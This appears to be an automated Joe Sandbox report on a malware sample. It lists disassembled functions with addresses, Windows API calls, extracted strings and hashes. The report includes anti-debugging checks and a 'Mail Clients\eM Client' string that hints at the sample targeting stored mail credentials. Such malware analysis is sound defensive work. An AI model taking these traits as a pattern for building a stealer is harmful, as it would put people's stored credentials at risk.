Opcode ID: d4ef6aecc819cbfd79ed1537f8e605b86188b9f0b6e42f283061d9fbf544773c
Instruction ID: dfb0ff48f0b3588d0c8ddc0fc82928454e0cf031636ecd05e75d9b592114eb49
Opcode Fuzzy Hash: d4ef6aecc819cbfd79ed1537f8e605b86188b9f0b6e42f283061d9fbf544773c
Instruction Fuzzy Hash: B2A271B07097118BD724EF1DE69522EBBE0EB94750FA58D1FE185CB350E638C8819B4B

Function 02ED2260 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 254sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00001388), ref: 02ED233E
ExitProcess.KERNEL32 ref: 02ED268F

Strings

Ku^%, xrefs: 02ED22A7
Ku^%, xrefs: 02ED2362

Memory Dump Source

Source File: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ed0000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: ExitProcessSleep
String ID: Ku^%$Ku^%
API String ID: 911557368-1067927601
Opcode ID: 82cfc510ece84957cbba0257fc153cb2f1f42220bc350d1360029cd4826f0e13
Instruction ID: 1d1ceadc221dc7f86350ddd9790caee6ba6f19c410f9e246ba7e8bacb3e454ee
Opcode Fuzzy Hash: 82cfc510ece84957cbba0257fc153cb2f1f42220bc350d1360029cd4826f0e13
Instruction Fuzzy Hash: 5CA12BB1544B018BCF348F19C590B25B6E1AB45718714E91EEEABCBA62D734E853CF42

Function 0041EBEB Relevance: 6.8, Strings: 5, Instructions: 537COMMON

Download Yara Rule

Strings

)lu, xrefs: 0041F082
n_v, xrefs: 0041F08D
)lu, xrefs: 0041EF48
n_v, xrefs: 0041EFBB
(lu, xrefs: 0041EE71

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: (lu$)lu$)lu$n_v$n_v
API String ID: 0-3830700584
Opcode ID: 19f3eafb4a0e727bd08de773a29381a3a5c2a5b051c77c6b774b19f95aa7016b
Instruction ID: 4a2fd8414ffc0d2b7e824df66967180c6b9bc980e05f2bb9b5fb8abbe135a622
Opcode Fuzzy Hash: 19f3eafb4a0e727bd08de773a29381a3a5c2a5b051c77c6b774b19f95aa7016b
Instruction Fuzzy Hash: 1D22B478D0460A9BCF24CF9DC8956FFBBB0EB14304F24052BD515EB351D3789A868B9A

Function 02F003F5 Relevance: 6.6, Strings: 5, Instructions: 301COMMON

Download Yara Rule

Strings

Ku^%, xrefs: 02F002F0
Ku^%, xrefs: 02EFFFE2
Ku^%, xrefs: 02F00258
Ku^%, xrefs: 02F00076
Ku^%, xrefs: 02F003F5

Memory Dump Source

Source File: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ed0000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: Ku^%$Ku^%$Ku^%$Ku^%$Ku^%
API String ID: 0-3469696018
Opcode ID: 6ec76950be12901a45a75c5ce88806d55f504ea767741fb8e6c205ae61d7ac73
Instruction ID: ce17313cc358dd47d3dba6249d04c437ba66505feff6d0c5d931c367862a71c5
Opcode Fuzzy Hash: 6ec76950be12901a45a75c5ce88806d55f504ea767741fb8e6c205ae61d7ac73
Instruction Fuzzy Hash: 0AB10472D101498BDF24CB58C981BBE7A71AB81344F28552BFB15EB6D0EB34CA40DB87

Function 02EDAB8F Relevance: 6.5, APIs: 4, Instructions: 475stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,?,?,?,?,?,?,00469144,?,02EDBA31,02EDCC5B,?,?,?), ref: 02EDAEC5
lstrcatW.KERNEL32(?,0045FD78,?,?,?,?,?,?,?,?,00469144,?,02EDBA31,02EDCC5B,?,?), ref: 02EDAF29

Memory Dump Source

Source File: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ed0000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: ef72a88249dd871b6e6f7590a3c2d473460619251f7bcc7e3a36d31713e60fb7
Instruction ID: 0134f6b2f4c30ea9e4cde3742a787be9a9800f3b6559375c829d081d84542430
Opcode Fuzzy Hash: ef72a88249dd871b6e6f7590a3c2d473460619251f7bcc7e3a36d31713e60fb7
Instruction Fuzzy Hash: C6020972D802198BDF249B58C851BFD7671AB04318F15E93FE41AEB390E3758A43CB96

Function 0044F244 Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0044F2D1

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 05cda982c4f09bd88feb10a38f7641e7fd96d80131b6e6d53e56f63ddc665004
Instruction ID: 8ec8fb1480d7890853f4d9f50d5551423c0e27afaeab5e375f7c18d1f8a446b0
Opcode Fuzzy Hash: 05cda982c4f09bd88feb10a38f7641e7fd96d80131b6e6d53e56f63ddc665004
Instruction Fuzzy Hash: 7EB147329002559FFB11CF68C8817EFBBA5EF55304F14817BE815AB342D6389D0ACB69

Function 00451FBC Relevance: 6.1, APIs: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00452057
FindNextFileW.KERNEL32(00000000,?), ref: 004520D2
FindClose.KERNEL32(00000000), ref: 004520F4
FindClose.KERNEL32(00000000), ref: 00452117

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: b3559cba144369e4368cc0700d5b7fee314850b44e79167534ac2f09849a45e7
Instruction ID: 88b061fe18a59ed71dd7726e396f37314d98d9ff08531aa008276cfa6a830ce1
Opcode Fuzzy Hash: b3559cba144369e4368cc0700d5b7fee314850b44e79167534ac2f09849a45e7
Instruction Fuzzy Hash: 4F411971901519AFDF20DF64DD88ABFB379EB4530AF004197E905D3181E7B89E88CB69

Function 02F22223 Relevance: 6.1, APIs: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02F222BE
FindNextFileW.KERNEL32(00000000,?), ref: 02F22339
FindClose.KERNEL32(00000000), ref: 02F2235B
FindClose.KERNEL32(00000000), ref: 02F2237E

Memory Dump Source

Source File: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ed0000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 98469444129287ec3a0223e4e6863df554afa6925fe0b01ec864058e1a2505ac
Instruction ID: f94072b99dd1b1175db96afa3a26caed07acf8d56f7c6e0d6c2945dbaa6675ce
Opcode Fuzzy Hash: 98469444129287ec3a0223e4e6863df554afa6925fe0b01ec864058e1a2505ac
Instruction Fuzzy Hash: FE41D672E00139AADB20DF64CD88ABAB379EB46344F004195EE05D7184E7759E88CF65

Function 00416548 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 837COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00416724

Strings

0, xrefs: 00416E49
8, xrefs: 00416E41

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: 0$8
API String ID: 4218353326-46163386
Opcode ID: dffc9e5abd372e9afb64596e263c2f6f11399d763a87511cb0e2e762d002d851
Instruction ID: 4a4157f18493c412a49744d30cfcbbbc573f023624cab823fa42490c9b2fab12
Opcode Fuzzy Hash: dffc9e5abd372e9afb64596e263c2f6f11399d763a87511cb0e2e762d002d851
Instruction Fuzzy Hash: 037256716083409FCB14CF19C880BABBBE2AF88314F15892EF99887351D779D995CF96

Function 0043CE95 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0043CEA1
IsDebuggerPresent.KERNEL32 ref: 0043CF6D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0043CF8D
UnhandledExceptionFilter.KERNEL32(?), ref: 0043CF97

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 5a224689ebe3c8543fae9108879d47dacd2795cfdd161b4ae1d22f43ac1ac262
Instruction ID: 9043f40afcec0259649162862996236607bac432cbf7b643fd488768b54bd5d0
Opcode Fuzzy Hash: 5a224689ebe3c8543fae9108879d47dacd2795cfdd161b4ae1d22f43ac1ac262
Instruction Fuzzy Hash: 57312BB5D05219DBDB10DF65D989BCDBBB8AF08304F1040AAE40DA7250EBB55A84CF49

Function 02EFD221 Relevance: 5.4, Strings: 4, Instructions: 405COMMON

Download Yara Rule

Strings

^^4, xrefs: 02EFD476
Mail Clients\eM Client, xrefs: 02EFD225
^^4, xrefs: 02EFD594
]^4, xrefs: 02EFD257

Memory Dump Source

Source File: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ed0000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: Mail Clients\eM Client$]^4$^^4$^^4
API String ID: 0-1928883120
Opcode ID: 2b4910dd263b016b495e14fa66466277187321ac52993c0523f68307dfe2152f
Instruction ID: bfcd49b5a9c37cb01e98eeee986fe4a7e75a6b0e287125470228f3a6a382246f
Opcode Fuzzy Hash: 2b4910dd263b016b495e14fa66466277187321ac52993c0523f68307dfe2152f
Instruction Fuzzy Hash: 90E11DB1E8014A4BEF989A548D816FE7EB5EB14308F14E526E315FB250E735CA41CBD3

Function 02EF23DE Relevance: 5.2, Strings: 4, Instructions: 183COMMON

Download Yara Rule

Strings

^^4, xrefs: 02EF25F2
^^4, xrefs: 02EF24C1
^^4, xrefs: 02EF25CC
]^4, xrefs: 02EF23F8

Memory Dump Source

Source File: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ed0000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: QueryVirtual
String ID: ]^4$^^4$^^4$^^4
API String ID: 1804819252-2923853987
Opcode ID: fa4f1894e5061ee90060a23dab345b4c9721d9ab9e288be8bc8134ce8262e773
Instruction ID: cab5482c37789c50093287a327aae99b917c1ffbfe61af988521940b86014f0b
Opcode Fuzzy Hash: fa4f1894e5061ee90060a23dab345b4c9721d9ab9e288be8bc8134ce8262e773
Instruction Fuzzy Hash: 0A515AB19853538BDAAC9E1C808426E62D0DB44248F55E927FF79FB220C324CC45EB47

Function 0044E33B Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00405C85), ref: 0044E433
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00405C85), ref: 0044E43D
UnhandledExceptionFilter.KERNEL32(0045F807,?,?,?,?,?,00405C85), ref: 0044E44A

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: b1a3c3a0be8d6b4b88a7661e414be1e1f565848d8e3606674681f7b5372028ed
Instruction ID: af30a7423d53b2ed9e05bfdfaa0a26c4abe4ecd8aa3d0fdc8ac6f86824fa8700
Opcode Fuzzy Hash: b1a3c3a0be8d6b4b88a7661e414be1e1f565848d8e3606674681f7b5372028ed
Instruction Fuzzy Hash: 2231C4749012299BCB21DF65D889BCDBBB8BF08310F5041EAE81CA7250E7749F858F49

Function 00424BED Relevance: 4.5, APIs: 3, Instructions: 32fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000200), ref: 00424C0E
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00424C22
CloseHandle.KERNEL32(00000000), ref: 00424C2E

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleModuleName
String ID:
API String ID: 2106025501-0
Opcode ID: d94bae1b59913256bf7e4af9c8c5c466c157ae71dd916d4649055dd816ca84e8
Instruction ID: 0f79836f08216e1067b19f7748282cd10e66abfb9a44897a3127195f29ea1e18
Opcode Fuzzy Hash: d94bae1b59913256bf7e4af9c8c5c466c157ae71dd916d4649055dd816ca84e8
Instruction Fuzzy Hash: 97F0A071201130BBD2349B2AEC4CF57BF6CEF86B70F014215FB19AB2A0D2789812C6D5

Function 0041764A Relevance: 4.4, APIs: 1, Strings: 1, Instructions: 917COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00417773

Strings

=`f\, xrefs: 00417D3A, 00417E7A

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: =`f\
API String ID: 4218353326-984147390
Opcode ID: cefc6376a0a262524adde921cf2748f1d933b06b63e13b6ea41360376ed59fc9
Instruction ID: 937e01e95affed1bb86c4fb585bebd6cec6f4652e38a753aecbb8c34d3dca93f
Opcode Fuzzy Hash: cefc6376a0a262524adde921cf2748f1d933b06b63e13b6ea41360376ed59fc9
Instruction Fuzzy Hash: E5822671508301AFDB14CF19C880AABBBE1FF88344F04892EF99987391D779D995CB96

Function 00415C7E Relevance: 3.9, Strings: 3, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

Strings

UUUU, xrefs: 00415CFE
3333, xrefs: 00415CD3
UUUU, xrefs: 00415CCA

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: 3333$UUUU$UUUU
API String ID: 0-1588839328
Opcode ID: 17534d5a281498b08f04e5be694ea266bc4322b6d1202bf75d22475c47ae82c3
Instruction ID: db216e20b05cf36e7dbad7cd7ff9f755db6c04a52abf1afa55db9664f95289aa
Opcode Fuzzy Hash: 17534d5a281498b08f04e5be694ea266bc4322b6d1202bf75d22475c47ae82c3
Instruction Fuzzy Hash: 31419FB1610704CBCB588F19C88479277E6ABD8320F5981AADD058F38AE7B9CCC5CBC4

Function 00448800 Relevance: 3.4, APIs: 2, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abc98001e59703e17e9a34c2f345cf9d82059dae5fbe9420c98e1510437f35f7
Instruction ID: d31693203e36b13fa643c34ed7d2e873ec4fc83637a871ea5abd7a03a4c8c85c
Opcode Fuzzy Hash: abc98001e59703e17e9a34c2f345cf9d82059dae5fbe9420c98e1510437f35f7
Instruction Fuzzy Hash: 59F14071E012199FDF14CFA9C8806AEB7B1FF89314F15826EE915A7390DB34AD41CB94

Function 02F18A67 Relevance: 3.4, APIs: 2, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ed0000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d3e44d6773cb73d3f78f22b7e789175b054aa5dae3e35d0fed3e7c06545acc3
Instruction ID: 96dab4b835c1d2911bf40d9d6a132ec542a2b6b418b8a98001ccf647f5ee93c3
Opcode Fuzzy Hash: 2d3e44d6773cb73d3f78f22b7e789175b054aa5dae3e35d0fed3e7c06545acc3
Instruction Fuzzy Hash: B6F15E71E012199FEF14CFA9C980AADB7B1FF88394F658269D915AB380D730A905CF94

Function 0043BCA4 Relevance: 3.1, Strings: 2, Instructions: 611COMMON

Download Yara Rule

Strings

y_B>, xrefs: 0043C00B
y_B>, xrefs: 0043C403

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: y_B>$y_B>
API String ID: 0-2639510964
Opcode ID: 88ae354af438063a33d3c2dde5e6d733d8a20db6495eb275dc7889d5d4cf3e35
Instruction ID: c217e240e4de63698dbdc007ec6427f3aed3e10ff69f5bbbebf730a7c1cd9681
Opcode Fuzzy Hash: 88ae354af438063a33d3c2dde5e6d733d8a20db6495eb275dc7889d5d4cf3e35
Instruction Fuzzy Hash: B5328371D0011A8BDF249A9889916BFB670EF58320F24792BD515FB390D73C9E428BDA

Function 0043D600 Relevance: 3.1, APIs: 2, Instructions: 92COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0043D61E

Part of subcall function 0044C5A0: _ValidateScopeTableHandlers.LIBCMT ref: 0044C6B4
Part of subcall function 0044C5A0: __FindPESection.LIBCMT ref: 0044C6D1

_CallDestructExceptionObject.LIBVCRUNTIME ref: 0043D6A0

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: CallDestructExceptionFindHandlersObjectScopeSectionTableValidate___except_validate_context_record
String ID:
API String ID: 4086067019-0
Opcode ID: 32225782116d6d1d5b8b44fa1553e41c01ad0d105c6fff44bcf9d4353cf2325d
Instruction ID: d36a7cbcb2159855d2e740cbd3865162507ac70638f688864eb4f2737716b515
Opcode Fuzzy Hash: 32225782116d6d1d5b8b44fa1553e41c01ad0d105c6fff44bcf9d4353cf2325d
Instruction Fuzzy Hash: BC21FC72D01204ABDB14EF69DCC19ABBBA5FF48314F098069ED198B246E734F915CBE4

Function 0044614F Relevance: 3.0, APIs: 2, Instructions: 44timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00418E08,FFFFFFF9,?,?,?,?,00418E08,00000000), ref: 00446164
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00446183

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1518329722-0
Opcode ID: eee1a95b8517425e3b7839049f316366bcb153acad07d488873c9a132efa3553
Instruction ID: 61ae58f5a109cdc23c8a561ccb435e29d9a033fb164f50c0495edfbe46b21ef4
Opcode Fuzzy Hash: eee1a95b8517425e3b7839049f316366bcb153acad07d488873c9a132efa3553
Instruction Fuzzy Hash: 00F0F4B1B001147B6B24DF2D880489FBEE9EAC6364726825BE809D3345E574DD05C295

Function 0045D15A Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0045D0B5,?,?,00000008,?,?,0045CC90,00000000), ref: 0045D387

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: d6540e9e3e2bde8cc81b0ca47ebca29131f08a729fe48da196ffb7867e76fa42
Instruction ID: 2e63c45fd147d1bc419a1cf421641fdd954adc511095b72776a1a782a704c190
Opcode Fuzzy Hash: d6540e9e3e2bde8cc81b0ca47ebca29131f08a729fe48da196ffb7867e76fa42
Instruction Fuzzy Hash: EBB15E31A10605CFD724CF28C486B657BA0FF45366F258699EC99CF3A2C339E986CB45

Function 02F2D3C1 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,02F2D31C,?,?,00000008,?,?,02F2CEF7,00000000), ref: 02F2D5EE

Memory Dump Source

Source File: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ed0000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: d6540e9e3e2bde8cc81b0ca47ebca29131f08a729fe48da196ffb7867e76fa42
Instruction ID: f8949d5b20b1b398bfd6b6ea1841418aa684b7fbbd9418f4c01da594bcac43eb
Opcode Fuzzy Hash: d6540e9e3e2bde8cc81b0ca47ebca29131f08a729fe48da196ffb7867e76fa42
Instruction Fuzzy Hash: 13B14D32610618CFD719CF28C48AB657BA0FF463A8F258658E9D9CF2A1C335E995CF40

Function 004279E0 Relevance: 1.8, Strings: 1, Instructions: 509COMMON

Download Yara Rule

Strings

y_B>, xrefs: 00427CEA

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: y_B>
API String ID: 0-1404922283
Opcode ID: 3469851243814c9df854399b7f1dc1d22a233d7ef834371f5d1686ee01f1e3c4
Instruction ID: 4c2ea87e6ed6cce11d3262b2c37c8ab9346d24596443f962e79d9f7238e8cba2
Opcode Fuzzy Hash: 3469851243814c9df854399b7f1dc1d22a233d7ef834371f5d1686ee01f1e3c4
Instruction Fuzzy Hash: E11241B170D361CBDB249F18E49153EBAE4AB94310FA54A5FE0C9CB364D678D8C19B0B

Function 00415070 Relevance: 1.7, Strings: 1, Instructions: 471COMMON

Download Yara Rule

Strings

a, xrefs: 004150D1

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: a
API String ID: 0-3904355907
Opcode ID: abf41055e7df99fb2ef503810f227f4fa87954494fd423e6c9940f4a18d96c89
Instruction ID: 318bea0468e25d50bc193c40de4e6b6217f0263c2ba9fd996b50af1c70fb3ca8
Opcode Fuzzy Hash: abf41055e7df99fb2ef503810f227f4fa87954494fd423e6c9940f4a18d96c89
Instruction Fuzzy Hash: AE121370608740DFD724CF19C980BABBBE2FBC8304F54892EE58987350D779E9858B96

Function 02EE52D7 Relevance: 1.7, Strings: 1, Instructions: 471COMMON

Download Yara Rule

Strings

a, xrefs: 02EE5338

Memory Dump Source

Source File: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ed0000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: a
API String ID: 0-3904355907
Opcode ID: abf41055e7df99fb2ef503810f227f4fa87954494fd423e6c9940f4a18d96c89
Instruction ID: c5e8372de7d898db48012febf39b65a3599245ca56fa3b88f4c7493a07949394
Opcode Fuzzy Hash: abf41055e7df99fb2ef503810f227f4fa87954494fd423e6c9940f4a18d96c89
Instruction Fuzzy Hash: 211224706487419FDB24CF19C884B6BBBE2BF88308F84992DF59A87250D775E948CF52

Function 00451F08 Relevance: 1.7, APIs: 1, Instructions: 158fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00450330: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0044D36A,00000001,00000364,00000000,00000008,000000FF,?,00447A98,00426F52,?,?), ref: 00450371

FindFirstFileExW.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00452057
FindNextFileW.KERNEL32(00000000,?), ref: 004520D2
FindClose.KERNEL32(00000000), ref: 004520F4

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: Find$File$AllocateCloseFirstHeapNext
String ID:
API String ID: 2963102669-0
Opcode ID: 32231ab2968142434609d1874502abdd1f938d36c1a7161d4ca85e8f4d9ecd2a
Instruction ID: f7a7cccc38e2a98a3a0fd08442e24a40366e03b93faff9898a26c82b853a1aca
Opcode Fuzzy Hash: 32231ab2968142434609d1874502abdd1f938d36c1a7161d4ca85e8f4d9ecd2a
Instruction Fuzzy Hash: 59413A726002096FDB14AF69DC85EBFB36AEF81319F14416BFD0597282EB789D08C658

Function 0043D0B8 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0043D0CE

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 791a5783c13089c55432eecac0b459280e2b3968fd8be309c5ac16e94238550e
Instruction ID: 4f8493139679013ee20e08bfcd7abab68794bcc2040eb7ee6f469f72a5842b4a
Opcode Fuzzy Hash: 791a5783c13089c55432eecac0b459280e2b3968fd8be309c5ac16e94238550e
Instruction Fuzzy Hash: E55106B1E002058FEB14CF55E8857ABBBF5FB48310F24947AD415EB354E3B8A980CB99

Function 00414A83 Relevance: 1.6, Strings: 1, Instructions: 352COMMON

Download Yara Rule

Strings

a, xrefs: 00414B2C

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: a
API String ID: 0-3904355907
Opcode ID: 74cedb3eb2f680694ce7935cfb3b67ee33ab9ad9c5e3efc4d66dd220d35ca717
Instruction ID: 722ab9fffa63a2ef7d1a063d6d10cc189525accf299069018822edd1fef34131
Opcode Fuzzy Hash: 74cedb3eb2f680694ce7935cfb3b67ee33ab9ad9c5e3efc4d66dd220d35ca717
Instruction Fuzzy Hash: 74E125702083419FD724CF19C584BABB7E1BFC8354F05892EF59987250E778E989CB9A

Function 02F112BE Relevance: 1.6, Strings: 1, Instructions: 344COMMON

Download Yara Rule

Strings

0, xrefs: 02F1144C

Memory Dump Source

Source File: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ed0000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
